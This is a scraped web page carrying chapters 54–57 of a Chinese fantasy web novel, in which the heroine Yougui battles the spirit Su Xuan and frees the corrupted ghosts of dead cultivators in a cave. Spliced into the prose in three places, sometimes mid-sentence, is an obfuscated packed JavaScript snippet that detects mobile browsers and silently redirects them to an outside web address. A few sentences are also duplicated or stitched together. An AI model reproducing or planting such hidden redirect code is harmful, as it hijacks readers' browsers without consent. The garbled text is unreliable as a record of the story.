有归当然不知道这红毛犼的弱点在哪,她只是照着往常的经验来做。力大无穷是吧,铜皮铁骨是吧,利器在手是吧,那我就拔了你的爪牙,砸烂你的头,剥了你这身皮,看你还能不能再站得起来! 她这么多年也不是白活的,虽然依旧当自己是人类,也不会异能什么的,但身体的机能已经被开发到了极致。她不知道自己会不会死,也没有特意测过死亡的临界点,唯一确定的是,吐两口血,折条胳膊折条腿都不是什么大事。 当然,痛是另外一回事。 有归现在就很痛,痛得要死,铁锈味数次冲到口腔,都被她硬生生咽下去了。 她相当于在拿血肉之躯对抗钢铁,难度可想而知,好在力气也大。不就是钢铁吗?大不了她痛个一天一夜,也得把这头给砸穿了。 她的右手已经看不出原本的模样了,血肉全部爆开,露出里面白茬茬的骨头来,那骨头也裂了缝。拳头更是不用多说,哪还是人的手啊,血肉都快磨没了,只剩下骨头。有归全身汗如瀑布,额上青筋似要爆裂,而她拳下那硬如钢铁的头颅,从一开始的纹丝不动,到后来被砸开一条缝,最后像核桃一般裂成了几瓣。红毛犼的身躯也彻底不动了。 有归用尽最后一点力气爬到崖壁前,这才浑身脱力般瘫倒,口中不住地喘着粗气。喘息了片刻,她才开始给自己裹伤,整条右臂都被包了起来,右膝盖也裹上了纱布。她没有放药粉,也没有和治愈药剂,人类的研发的药物对她早就没用了。 处理好身上的伤,有归扶着山壁站起来,转头看向洞窟深处,轻声道:“出来吧,不必藏了。” 那洞窟深处依旧是一团漆黑,过了一会儿,那黑暗中竟走出一个人来。眉目艳如桃李,唇畔含笑,气质似妖,正是方才在那幻境中被有归折断颈骨的女子! 她那双多情的眼眸淡眄有归,神情似笑非笑:“你好像一点都不惊讶?” 54. 第 54 章 有归靠着墙,镇定自若地看过去,说:“有什么好惊讶的,从一开始我就知道了那只是一个分身。”能在这洞窟之中生造出那样一个地方来的人,怎么可能会那么轻易死在她的手里。 她看着女子,说:“现在这个就是你的本体了吧,不知该如何称呼你?” “苏萱,我叫苏萱。”女子说。 有归恍然,“难怪那片幻境中那么多忘忧草,原来是暗合了你的名字。你的父母长辈很爱你吧,他们希望你能无忧无虑快乐地过完这一生,所以为你取名‘萱’。可惜到最后,你不仅将自己的人生过得一团糟,活成了现在这副人不人鬼不鬼的模样,还在背后下黑手,要让别人和你一样泡在烂泥里。” 她说话难得这般尖刻锐利不饶人,然而女子非但没有恼羞成怒,反而上下打量她几番,忽然笑道:“你知道吗?我最讨厌你们这种人,仗着有一颗聪明脑袋,看谁都像在看猴子,偏偏还自认平易近人,你们自己不觉得可笑吗?” 看来这人还挺有故事,有归沉默了一下,满心无奈:“就是说,有没有可能一种可能,不是别人看你像猴子,而是你觉得自己在别人眼中是一只猴子。你自己不如人,却又不愿承认,便将过错都推到别人身上去,以为这样就可以遮掩你的失误。” 这会儿有归倒不急了,只是觉得长篇大论的挺费精神,身上又带着伤,索性靠着山壁坐下。她托着下巴抬眼望着苏萱,慢条斯理道:“其实你是奇迹时代的修士吧。”见女子毫无所动,她拍了一下巴掌,抚额道,“不好意思,我忘了奇迹时代是后世的说法,按照你所在的时代来说,你应该是云上帝国的修士,你的修为应该不低,平时大概也是被夸赞的那一类,可是和真正的天才比,你还差得很远。” 女子表情终于有了波动,她看着有归,“你到底想说什么?” 有归耸了耸肩,道:“我是想说,你果然知道我是谁。或者说,你应该清楚我来自什么地方。”所以她关注的重点才是这番话的目的,而不是惊讶有归竟来自后世。 不过事情真的是越来越有意思了,四千多年前的无名村庄有人认得她,这误入的副本里不晓得是人是鬼的,额勉强先算是人吧,居然也认得她。怎么她已经出名到弥瑞可上下四千多年无人不知无人不小了吗? 女子不语,有归好整以暇地看着她,问道:“你认识沈凌璧吗?”女子依旧不理她,有归也不用她搭话,自己兴致勃勃地继续往下说,“那你认识商秋吗?知羽呢?墨风?涂蓝?” 奇迹时代的修道者们有归就知道这么几个,后面就是随口胡扯的,苏萱瞟了有归一眼,姿态放松,显然是想看她能胡说八道到什么时候。哪知道有归话锋一转,说出了一个女子以为自己不会再听到的名字:“那你肯定认识禤水凝!” 有归说得十分笃定,其实也是随口瞎猜,撞上哪个是哪个。结果还真让瞎猫碰上了死耗子。 猝不及防之下听到这个名字,苏萱有恍如隔世之感。那些本以为已经消散的悔恨、痛苦、愧疚、伤心之类的情绪,原来已经被时光酿成了烈酒,此时猛然爆开,依然让她痛不欲生。陈年的旧伤疤被揭开,她双目通红地看着有归,好似地狱归来的恶鬼,癫狂大笑:“哈哈哈哈哈哈哈哈哈......你说的没错,我才是那只猴子,我才是那只猴子啊!是我,是我害死了禤水凝,一只猴子,害死了一个真正的天才!哈哈哈哈哈哈哈!” 她状似疯癫,张开双手大笑着,头发似野草般四散扎着,华装礼服也成了几块披挂着的破布,皮肤失去了光泽和弹性,满是脏污。这才是她的真面目。有归眨了眨眼,这就是女妖吗?这真的是女妖吗? 她笑着笑着就哭了,身体委顿在地,像个孩子似的号啕大哭,哭声中几多委屈几多苦闷,真是听者伤心见者流泪。然而有归铁石心肠,丝毫不为所动,此刻她真的不知道苏萱是真心悔过还是在阴谋算计?也不明白一个真正善良懂得反思的人,是否真会会对一个从未谋面的人下毒手? 同样是修道者,沈凌璧和大蛇目的明确,所以殚精竭虑为她们铺路,竭尽所能提供帮助。而这个苏萱,嘴上说着悔恨,眼里流着泪水,暗地里却指使那个满身杀气的男人谋害她,一次不成又想将她困在幻境,被识破后又恼羞成怒。这样的人,要如何交往?又怎么敢交托信任? 女妖的眼泪,虚伪而无用。 有归一边提防着苏萱,一边等待事态发展。任务只说通关这个副本,却没说通关方法。她完全拿不定主意,只好走一步看一步,现在她应该已经看到了女妖的眼泪,这应当是一个重大的转折点。最后的谜底是什么,接下来又该怎么做,答案应该很快就会揭晓。 那女妖嘤嘤哭了许久,然后抬起带泪的脸,对有归说:“小丫头,你屡次挑衅于我,真以为我不敢杀你吗?” 有归看着她,竖起一根手指摇了摇,笑道:“你不是不敢杀我,而是不敢亲手杀我。阴沟里的老鼠只会暗箭伤人?不,你是在忌惮什么。但曾经和你并肩战斗的队友都已经战死了,只有你像幽魂一样飘荡这个暗无天日的地方,我想,能让你顾忌至此的,恐怕只有禤水凝了。当年因为你的缘故死在这里的,恐怕不只有禤水凝吧,你的战友们也因此全部葬身于此。我看你年龄也不大,你的战友们应该也差不多,都还是谁的女儿谁的儿子,或许他们还有恋人,他们的恋人也在苦苦等待他们回去团聚。你只说你害死了禤水凝,你到现在都还执迷不悟,你要不要回头看看,看看你的战友们,他们在看着你,他们的父母和亲人都在看着你,他们都在诅咒你。你一定会受到诅咒的,一定!” “不!不!不!我没有,我没有害死他们,是他们自己要去的,他们明明已经撤出来,是他们自己要回去的。”女子痛哭流涕,这一回,她流的眼泪就真心多了。她忽然发狂似的指着有归,大声道,“是你,都是因为你。本来只是一点小疏忽根本不打紧,就算那个阿米克苏真的挣脱了封印又怎样,那也是几百年后的事情了。可是禤水凝非要回去,自从司危司取兄妹俩观测到你的存在后,我们这些修士就成了给你铺路的垫脚石,就因为洛知羽说只有你才能杀死祂们。” 她眼中射出仇恨的光,面孔扭曲着,神情癫狂:“可是凭什么!就算你真的是预言的那个人,可为什么你的英雄之路要用我们的鲜血来铺就,凭什么我们就该被牺牲?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而且洛知羽这个名字甚是耳熟,沈三姑仿佛提过一句,一个叫知羽的少年让盛羽学院彻底冠以“帝国”之名。那可是古云国时期,能代表一个国家的只能是皇室,可是这个知羽做到了,这已经不是天才可以形容的了。强者只会向更强者低头,禤水凝也不会弱,一个是睥睨天下的强者,一个是会在封印书扉页留下说明提醒后人危险的温柔女子,这样的人会逼迫别人去死?扯谎也要有点逻辑啊! 有归上下打量着她,呵呵笑了几声,“看你之前布置的那环境,想来家境不错,能参加这样的行动,修为也不会低——你不想来,可是身边的人都愿意,你自己拉不下脸,又觉得不来就说明你比不上别人,会被人在背后指点,所以还是硬着头皮参加了是吗?” 女妖愤恨地看过来,想说什么又闭上了嘴,有归看了她几眼,说:“我就奇怪了,明明事是你做下的,怎么临了却变成了别人的错,你就是一清清白白的莲花。如果人有前后眼,恐怕那些因你而殒命的人都会劝你留下,你不来他们还能回家,你来了他们一个都活不了。那些无辜枉死的人才该叫屈,而不是你这个罪魁祸首,收起你的眼泪吧,你也配在这里哭,哭给谁看呢?” 那女妖忽然大笑,笑声里满是无法掩饰的畅快和恶意,指着有归道:“你都猜出来了又如何?你一进来就吸入了我的噬魂香,又受了这么严重的伤,就算你是天之骄女,也别想从这里活着回去!” “我是不能亲手杀了你,可是这魔窟之中一十三道关卡,关关都是死局。我好心救你你不愿意,那你就去闯吧,我等着见你的尸体。” 话音未落,有归脚下忽然一空,她伸手抓住那红毛犼的尸体,这才没有掉下去摔个粉身碎骨。有归借力翻了上去,落地抬头一看,那女妖已经不见了身影,她原本所在的地方现在是一片浓的化不开的漆黑,正是通往洞窟深处的路,看在有归眼里,倒更像是通往地府的黄泉路了。 55. 第 55 章 有归往前走了两步,想了想又退回来。看了看这周围的环境,挖坑什么的不现实,于是搬了好多石头把红毛犼的尸体盖住,堆了一个小小的坟堆,树碑是没有可能了。她又搬了一块大石头放在坟头,在随身空间里面掏摸半天,找到了一只真空包装的烧鸡,一盒快过期的蛋糕,两个煮熟的鸡蛋,还有周嘉语给的糖。 把这些东西一一摆开,没有线香,点了三根树枝插在坟前,有归跪下,结结实实地磕了三个头,郑重道:“条件简陋,无法隆重致奠前辈,只能以这粗陋之物聊表心意。”这不是什么埋在此地多年不腐的权贵尸体,又不是风水宝地,这就是当年受苏萱牵累,全部埋骨于此的修道者的尸体。 这也是有归对女妖完全没有半分同情的原因之一,她连自己死去战友的尸体都不放过,让他们死后都不安生! 有归低声道:“现在弥瑞可大陆可能也遭遇了和你们那时一样的危机,我也不知道该怎么做才好,但我就算是拼上性命,也一定不会让你们的牺牲白费。如果你们真的在天有灵,请一直看下去。” 说完,有归起身朝山洞深处走去。她身后一阵风刮过,细沙尘泥将坟堆前的食物渐渐覆盖。 眼前路不知通往何方,前方不知道有什么危险在等着自己,有归走得很小心。她已经见到了女妖的眼泪,然而系统并没有任务通关的提示,看来SSS级副本确实对得起它的评级和难度,她只能老老实实走到最后。好在刚才一番试探,已经知道了这个副本的通关方法。 根据女妖的说法,她需要连闯一十三关,最后才能见到大BOSS。刚进副本一个透明男人一只红毛犼,就要了她半条命,一十三关,有归真的很怀疑自己是不是真的还有命活着出去。难怪那女妖不屑对她出手,原来是早就知道结局了。 小楼里已经躺了一个黎重一个周嘉语,艾莉安和周嘉文不顶事,她绝对不能在这里倒下。女妖说禤水凝回头是为了给她铺路,孟溪村里,那自愿赴死的一百多人,生入坟墓最后将自己的灵魂依附她人直到现在的沈凌璧,背山山洞里一直在守护的大蛇,她们所做的一切,显然也是为了有归。女妖口中的那个洛知羽认为只有她才能杀死那些被修道者们封印起来的恶神邪魔,那她应该也算是天命之女,希望上天能够庇佑她从这里活着出去。 无论如何,她一定要活下去。 有归走进了那团黑暗里,然后遍体鳞伤、鲜血淋漓地走出来。 她刚刚闯过的这一十二道关卡,关关都是冲着要她的命来的。她上刀山下油锅,被雷劈被火烧。可是这些关卡,并不是特意布置成这样的,虽然感觉不到这个副本的锚点,但她看见了,看见那些对她出手的人模样。有长衣广袖仙气飘飘的,也有穿一身短打使剑的,还有金发碧眼,明显不是云上帝国传统长相的人。他们都是苏萱的战友,是被她害得葬身于此的修士。 苏萱以女妖的形态活了下来,还保留着自己生前的记忆,其他人虽然没有这样的运气,但他们的意志也以某种形式延续了下来。或许是因为他们本就是为镇压恶神邪魔而来,每一个都杀气浓重,煞气冲天。 有归遇到的第一个人,是一位发挽云髻,身穿窄袖纱衣的女子。比之苏萱那满身妖异气息,这人气质纯澈眼神坚定,实在是强得太多。当然,给有归的教训也是极为深刻的。她并没有武器,也不像游戏里需要借助法器才能施法,而是掐指成诀,口念符咒。有归没有防备,如果不是先天和后期长时间锻炼出来的对危险的敏锐嗅觉,她早就被那道雷炸成了一具焦炭。 然而就算是避开了第一道雷,紧跟着还有第二道第四道......纱衣女子毫不节制地对她释放雷暴,灵力倾泻而出,在空中交织成一张滋滋冒着火花闪着电光的雷网,直接朝有归压了下来。有归知道这不是闹着玩的,趁网还没收紧,擦着边从网下滚出来了,还用左手挡了挡。虽然触之即放,整条手臂被电的皮开肉绽焦黑如碳。但这已经很幸运了,以她的身体强度和诡异程度都是这样的结果,倘若换做黎重或是周嘉语在这里,现在早就是一具躺在这里的尸体了。 她几乎对那算计了她的邪神生出一点微薄的感激了。 这山洞中干燥,满地灰尘石块的,并不是良好的导体,有归还有落脚的地方。刚站稳呢,忽觉有水滴落在额头上,抬头一看,这洞穴里竟然下起了雨来,那纱衣女子这回掐的是唤雨诀。 有归心道不好,这雨一下她就真的被逼到绝路了,水导电啊,到时候随便一个雷砸过来,她怎么都得完。有归知道拖延不得,一个闪身站到纱衣女子背后。纱衣女子毕竟不是人,她对有归赶尽杀绝的念头来自于生前的执念,而这段执念经过几百年时间和恶神力量以及洞窟中煞气的影响,已经被扭曲了。 她现在只有一个念头:杀掉有归。 此时有归离她如此之近,可以轻易制住她,但反过来,她也可以借此机会杀死有归。杀死她,杀死出现在你面前的所有人。女子全身的战栗起来,她并没有掐诀,离得太近会被打断,她拿出了一粒珠子,紫光璀璨雷电闪烁,隐隐流动着紫色的纹样,颇似雷唤之术。纱衣女子将那珠子抛出,一把抱住有归,大声喊道:“大胆妖物,真以为我们奈你不得?这惊雷珠可是煌月宗的镇派法宝,蕴先天雷霆之威,刻世界法则之力,还不将你劈个魂飞魄散!” 那惊雷珠释放出极强的威压,厚重的云层中雷光电闪,却比直接一道雷电砸下来更让人心惊。雷云慢慢向两人逼近,有归能够感觉到那里面蕴藏着的毁天灭地的力量,全身的汗毛都竖了起来,每一根都在叫嚣着让她赶紧逃。再决定走这一步之前,她就准备好了退路,她的随身空间很大,能放下一堆衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663617|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服,能放下锄头铲子,当然也能够躲进去一个大活人。 有归最开始的打算就是引女子和她同归于尽,然后她趁机躲进空间里,等外面平静了再出来。 可现在,在看见女子那双血红的眼睛时,有归发现自己没有办法看着女子死去,哪怕她根本不能算作人类。可是这又有什么关系呢?哪怕变得不人不鬼,在这魔窟之中游荡百年,连除魔卫道的初心都被扭曲,可她依旧念着天下太平,念着盛世永安。她们其实是一样的人。 无法逃离弥瑞可大陆,永困牢笼的是未来城市的居民们,是未来时代的人类,不是有归。若她想走,没有人能困得她。去高墙之外生活也好,去宇宙之中,甚至到另一个时空中去,追寻LUO脚步,她都可以做到。但是她没有。 弥瑞可大陆是人类的家园,也是她从小生活的地方。她的家人亲朋,她的战友们,她自己,为了让这片土地变得好一点,更好一点,流尽了血泪,熬干了心血。他们的根就在这里,她们不会离开。 有归伸手抱住女子,紧紧地抱着她。你的根不在这里,你的家也不在这里,可是你的敌人就在这个地方。祂会拔起你的根,毁了你的家,让你爱着的人们流离失所,所以你在这里。所以你才一直在这里,就算死了,也依旧要守住这个地方。 有泪水滑落眼眶,鲜红的,侵染了女子的纱衣。忽有一路清风拂过,女子发丝微动,怔怔地说:“你,在哭?恶魔,也会流泪吗?”声音像是已经报废了的机器强行重启似的僵硬。 她的目光落在有归的左臂上,“魔鬼,会受伤?” 蕴藏着雷暴的云层停留在两人头顶,她眼中忽然有了一丝光亮,“不,你不是阿米克苏,我要杀的是阿米克苏,不是你!错了错了,我要杀的不是你!” 随即又混沌起来,一把将有归推开,“不,不对,我要去拦住阿萱。直面阿米克苏不是她能承受得了的,我们已经失去禤水凝前辈了,不能再填一个进去。” 她跌跌撞撞向前走去,有归拉不住她,正要跟上去,忽然听到啪嗒一声。回头一看,是那颗惊雷珠,有归把珠子捡起来,贴身收好,连忙追了上去。 女子并没有跑得太远,有归追上她的时候,她正站在一处颇为明亮的地方。但这洞窟之中怎么会有光?有归抬头寻找光源,忽然听到利刃破空的声音,似乎是冲着她们来的。有归也没有多想,直接上前将女子扑倒,那箭正贴着有归的后背飞过,激起了一层鸡皮疙瘩。 在地上滚了几圈,躲过后续那几支箭,从声音来看,这人一次居然能发两支箭,高手啊。有归从地上爬起来一看,只见前面半空中悬着一人,金发碧眼,五官略深,头戴树枝花环,一袭长袍。有归眨了眨眼,目光落在了他那对尖尖的耳朵上,在去往大蛇洞中的路上,第一幅壁画就有一个两耳尖尖的人。 56. 第 56 章 有归很想问一声,但这人压根不给机会,嗖嗖又是两箭射来。女子足尖一点也飞了起来,和男子在空中对峙,一人用箭一人砸雷,都是远程,谁也不吃亏。就是可怜了有归在地上左躲右藏,一会儿一个雷球在她身边炸开,一会儿一支箭向她飞来,好不狼狈。间或羡慕地看一眼两人,心说这完全就是作弊嘛。魔法对轰的高端局,让她这个只有□□强度和格斗技巧的菜鸟情何以堪? 不知为何,女子的思绪又陷入了混沌,灵力疯狂倾泻,雷球一个接一个地砸向男子。男子一边从容躲过,一边还能搭弓射箭,一开始是两支一道射出,慢慢演变成了三支四支。 这洞窟之中恐怕几百年没有这样热闹过了,雷声炸裂寒光闪烁,地上崖壁石块炸起剥落。这一块山洞都遭了殃,箭支还好,破坏力小一点,雷球却是落在哪里炸到哪里,连山顶的巨石都被炸断,轰隆一声砸在了地上,好险没把有归也一起砸进坑里。 不能放任他们都下去了,有归救那女子是想化解她的怨恨,让她安息。就算寻不到方法,她也会亲手了解她,但凡是有点血性的人,都不会容忍自己用这般扭曲的面貌苟活于世。而不是让她为自己,在意识不清的情况下与曾经的战友同归于尽。 这样做通关会容易很多,有归知道,有归一直都知道。但就像她打破幻境,拒绝与女妖合作一样,究其原因,不过是她不愿意。说她迂腐也好,说她顽固也罢,但人生在世,当有所为有所不为。 可是她更知道人当有所为有所不为,就像她打破幻境,拒绝女妖的合作一样。女妖说他们是她铺路的垫脚石,不管这话是真是假,他们趟过的路,她总要再走一遍。英雄无名,埋骨他乡,本就让人痛惜,而死后仍旧不得安生,更让人万分痛心。 女妖说他们是为她铺路而死,不管是真是假,她都该趟一遍他们走过的。不为别的,只为自己的心。 英雄不该无名。 既然无人知晓他们的姓名,既然那段历史已经失陷,就让她来追溯,就让她来铭记。 上方空中对峙的两人已显疲态,就算现在处于比较诡异的状态,灵力终有枯竭的时候。女子掐诀的速度已不像之前那样迅速,男子射箭也不如之前那么快速,战势有所缓和,但这依旧不是有归能够调停的。 眼见两人越打越激烈,有归一边注意躲避一边绞尽脑汁想办法,忽然想起了一件事。便拿定了主意开始寻找高处,因为这两人的缘故,山洞的地面都被抬高了不少,还落了不少大石,其中有一块十分高大。有归估算了一下,最高的那个位置和半空中的两人差不多齐平,那个点距离两人不远,她跳过去的话刚好出现在中间。 但这个中间这个位置也可以叫做腹背受敌,有归刚扑过去,就被一箭贯穿了肩膀,瞬间一口鲜血喷出,染红了女子纱衣。 女子低头见自己白纱变红裙,伸手揽住有归,两人落在地上。女子眼神复归清明,叹息道:“你这是何必呢?” 男人的箭并不是普通的箭矢,本该以灵力凝聚而成,但使用者既已经被扭曲,灵力便不那么纯粹,沾染了魔气煞气,侵蚀性特别强。明明只是伤了个肩膀,却钻心一样疼,有归额角全是冷汗,抬手抹了一把唇上的血,笑道:“只要你清醒过来了,就值得。”或许这也是我来到这个地方的意义之一,无论如何,她永远不会后悔这样的选择,也不会后悔来到这个世界。 女子第一次清醒,是因为有归的血泪落在了她的衣裳上,所以有归大胆猜测自己的血液有奇用。果然女子彻底清醒过来,但这更让有归疑惑了。女妖也是,明明从未见过她,却在她刚出现时就认出她来,这其中到底有什么隐秘?她的血液为何会有这样的效用? 那尖耳男子离得远,有归又是背对着他的,只是衣摆上溅到了一滴血。就这样,他也陷入了混乱,从空中落下来。女子扭头看了他一眼,又回头端详了有归片刻,忽然笑了:“如果是你的话,我们的牺牲或许真的不会白费。” 见有归疑惑地看过来,女子笑笑,手放在有归的伤口上为她疗伤。当她彻底清醒过来后,魔煞之气便再不能扭曲她的心意,此时她所使用的就是纯粹的灵力。有归伤口周围的黑气被拔除,看到那里流出鲜红的血,女子这才停手,抱歉地说:“我不是木系水系的修士,没有办法让你直接愈合。” 有归眨了眨眼睛,木系水系,看来那个修真时代真的是以自然元素化归己用,女子用的雷电应该就是雷系,那是否还有火系金系土系等等能力?但转念一想,修真时代如此璀璨,应当不会局限于此,诸如沈三姑提到的体修一道,商秋师徒提起的无人领悟的体系。似乎是过于自由了,但这对于灵气逸散的未来时代来说未尝不是一种机遇,只是一切都得等黎重周嘉语两个醒来再说,也不是所有人适用这一套。 心里打定了主意,有归脸上却看不出什么来,只是拉了拉女子的衣袖,将惊雷珠还给她。女子只是看了一眼,将她的手推回去,笑道:“它现在是你的了。” 有归眼睛瞪得溜圆,女子语气无不怅惘,“我现在拿这东西又有何用?不如给你,还能发挥一些作用。” 她拿开有归的手,捏了个画地为牢的小术法,将有归困在原地。这个被奇迹时代所有修士视作唯一希望的少年,还是一块未经雕琢的璞玉,身怀巨宝,却不知该如何使用。 她道:“当年我们受知羽前辈所托,来此封印阿米克苏,其实就做好了回不去的准备。也早就知道终生都将埋没于此,或许永远不为世人所知,没想到,你会来到这里。” 她飘然而去,来到尖耳男子面前,回头对有归笑道:“虽则如此,可是被人记在心底的感觉真的很好,谢谢你。” “我乃煌月宗第五代传人言宛然,他是红柚王国精灵王室卫队长奥莱托·沙伊。我们是弥瑞可大陆的修士,以除魔卫道为己任,不想一朝身死,却成为不人不鬼的怪物在此阴暗之所苟活数百年。我们生而为人,也当以人的身份死去。谢谢你,有归,谢谢你维护了我们身为修士的尊严。” 说罢,言宛然双手亮起灼目的光芒,不知她用了什么方法,强行奥莱托从混沌中扯出。奥莱特神志清明后,看看周围的境况,目光最终落在地上被圈禁的有归身上,便明白了一切,忍不住露出一丝微笑,对言宛然道:“看来命运终究是眷顾我们的,辉光神在上,感谢您将天上的星星送到了这里。” 言宛然手上光芒更盛,忍俊不禁,"我觉得还是谢谢我们自己吧。" 光芒一时大盛,将整个洞窟都淹没,言宛然和奥莱托回头看着有归,露出最后一个微笑。光芒隐去,两人的身体渐渐消散,荧光漫天飞舞,最后洞窟归于黑暗,只留下两个小小的光点在原地不知所措地冲撞着。 言宛然既已离去,她留下的禁锢自然解开,有归走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672670|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去伸手触碰光点。那两点荧光在她指尖亲昵地蹭了蹭,随即没入她的心口,隐匿不见。她双手捂着心口,只觉那里微微发热,眼睛酸涩不已,却没有哭。她接收到了两人留给她的话。 前路无光,前路多艰,遗憾我们不能看见你的成长,只愿你鎏金溢彩皆坦途,所向有归任自由。再见,有归,感谢你终于来到这里。 有归把这句话放在心里琢磨了几遍,再联想到他们之前的对话,总觉得大有深意。这话里话外的暗示,她仿佛听懂了,又似乎什么都不明白,这事越往里想越不对劲,她不是被那邪神陷害然后丢进这副本中来的吗?怎么听着,又和她扯上关系了? 想不通的事情先放一边,不管怎么说,也算是开了个好头。十三道关卡已过其二,她也大致摸清楚这个副本的底细,和通关的方法。 具体时间无法确定,这被苏萱称为魔窟的山洞封印着一个和孟溪村背后的邪神相似的存在,封印祂的是由有归她们在小楼发现的留下那本《淮南阁子书》的禤水凝带领的修士队伍,队伍成员现在可以确定的三位是苏萱、言宛然和奥莱托。 然而这支修士队伍在封印恶神的过程中出了差错,导致全军覆没,而罪魁祸首似乎就是苏萱。队伍里其他人都被这洞窟中的魔煞之气侵蚀扭曲为只知杀戮的机器,唯独苏萱还保持着生前的记忆,并且保有理智。这些似乎都证实了这一点,有归最开始也是这样判断的。 直到有归遇到言宛然。 一个害死了自己,害了所有队友性命的杀人凶手,言宛然提起来,却是担心她的安危。那时言宛然的意识处于混沌与清醒之间,这样的反应才是最真实的。后来她清醒了过来,还有奥莱托,他们并没有找苏萱复仇,如果彼此之间真有深仇大恨,两人又怎么会如此轻松释然地选择消失? 既然言宛然他们并不是因为仇恨而以此不人不鬼的形式存于世间,看来当年修士们葬身洞窟之事另有隐情。 这个副本名为女妖的眼泪,作为女妖的苏萱真的就像她表现的这样简单而愚蠢吗?是不是她自己先入为主,看到似妖似人的苏萱,便下意识对号入座?苏萱可从未承认过自己是女妖。 有归回想当时的场景,自己是在冷嘲热讽尽可能地刺激苏萱,而苏萱也确实是破防了,歇斯底里地控诉有归并将过错推得一干二净。 可是那样的反应是不是太激烈太刻意了?而且事情进展未免过于顺利,苏萱当时不会是在演我吧?吃得了修炼的苦,没道理会因为几句刻薄话失控至此。 有归终于找到了违和之处。 苏萱那样的表演,并不是给她看的,当时在现场,还有一个人。 这个人隐匿在黑暗里,默默注视着两人之间的冲突。 有归不动声色地观察周围,或许此时,那人就在暗中窥视着自己。螳螂扑蝉黄雀在后,她这块被放出的饵就吊在这里,就是不知谁是螳螂谁是黄雀,谁是那双拿弹弓的手了。 她笑笑,看来苏萱是把她当鲇鱼用了,这一滩沉寂了几百年的死水,在她出现的那一刻,暗流汹涌。 身上的伤口已经在愈合,有归活动了下手脚,确定行动无虞,便继续前进了。 苏萱有自己的目的,她当然也有自己的想法,还有十关,等她趟过刀山火海,在终点等着她的,不知道是女妖苏萱,还是那个罪魁祸首,抑或是......禤水凝? 57. 第 57 章 接下来的六关有归过得不算艰难,她的对手都是死去的修士的意识,按照古云国的习惯也可以称之为灵魂。这些灵魂沾染了魔煞之气,早已被扭曲了,整日浑浑噩噩,忘记自己生前的记忆,只剩下汹涌的杀气。 而现在,这杀气全冲着有归来了。也是奇怪。 还没打照面呢,迎面射来一根冰锥,有归连忙避让,那冰锥擦着太阳穴就过去了。有归回头一看,那冰锥直接没入山壁之中,比上一场那个射箭的狠多了。太阳穴那里火辣辣的疼,伸手一摸全是血,她也只能胡乱擦一把,目光始终注意着前方那个正在施法的人。 是一个男子,典型的云国人长相,就是身上的衣服上面画了很多奇怪的纹饰,看着像是符文。这人不仅会搓冰锥,还会唤雨,兜头把有归淋了个透心凉,紧接着开始召唤风雪,似乎是想把她冻在这里当冰雕。 这可不行。 这人不知道是不是被扭曲了关系,脑子不太行,居然准备召唤一个超大型的暴风雪,名字叫做冰天雪地的。四周的风开始动了,雪飘落下来,是盐粒一样的细雪,气温骤降,整个洞穴逐渐冰冻。有归看看左右,知道自己必须在他完成召唤之前,打断他,或者唤醒他。 手指都被冻僵了,腿像是有千斤重,每次抬起放下都是折磨,短短一段路程,像是有几百里远。风雪越来越大了,有归每次行走间,脚底都会有一层薄薄的冰,将她与地面相连,这让她的速度变得更慢,走到最后完全是靠意志在支撑。 咒语再长也有限,洞穴已经化作晶莹剔透的冰雪世界,冰天雪地就要彻底成形。有归的头发、手,还有腰背全都结了冰,眉毛上睫毛上挂着白色的冰霜,眼皮沉重的几乎抬不起来,腿上覆盖着厚厚的冰晶,每一次行走,都是对意志的考验。 皮肤已经完全失去了血色,脸像冰雪那样白,头脑则像灌进去几大包冰块,连思考的能力都冻结了。有归知道自己已经阻止不了了,男子已经完成召唤,洞顶的冰雪漩涡已经成型,暴风雪来临。 狂风裹挟着雪花呼啸而来,冰面下一股寒流直冲有归而来,将她冻在原地,成为一座人形冰雕。随即风息雪止,刚刚还在肆虐的暴风雪瞬间消失的无影无踪,男子走过来,静静地欣赏自己的杰作。 男子伸手抚过她的面庞,冰面下是珍珠般的美色,他手指停留在有归紧闭的双眼上,喃喃道:“如果这双眼睛睁开的话,该是多么摄人心魄的美丽啊。” 他俯身,隔着冰面抵着有归的额头,目光痴迷:“虽然无法真正拥有你,但有你的转世陪着我,翾某便是永困这魔窟之中,也此生无憾了。” 他低下头,似乎想亲吻有归的嘴唇,忽听一声啼鸣,男子循声望去,大惊失色! 只见一只火凤凰从后方洞窟之中飞掠而出,直奔男子而来,其速度如离弦之箭。男子匆忙间想要抵抗,但他失了先手,哪里还来得及,只能先行退让。那火凤凰所过之处,冰消雪融,融化的雪水随即蒸发。有归身上的冰层被火炙烤后直接消失,没有支撑,有归直接倒向地面,被一只手臂在半空拦住,手臂的主人端详着有归的面孔,轻笑出声:“是有一点像洛知羽前辈。” 此人眉宇之间盛放如花,正是苏萱。 火凤凰落在苏萱一侧,化做一个蓝衣的高挑女子。女子往知羽脸上一看,回头将男子上下打量一番,挑眉道:“看不出来你还有这胆子,居然敢肖想知羽前辈,你比得上墨风前辈一手指头吗?” 男子目眦尽裂,指着蓝衣女子大叫道:“翾鸿羽!你不是早就魂飞魄散灰飞烟灭了吗?” 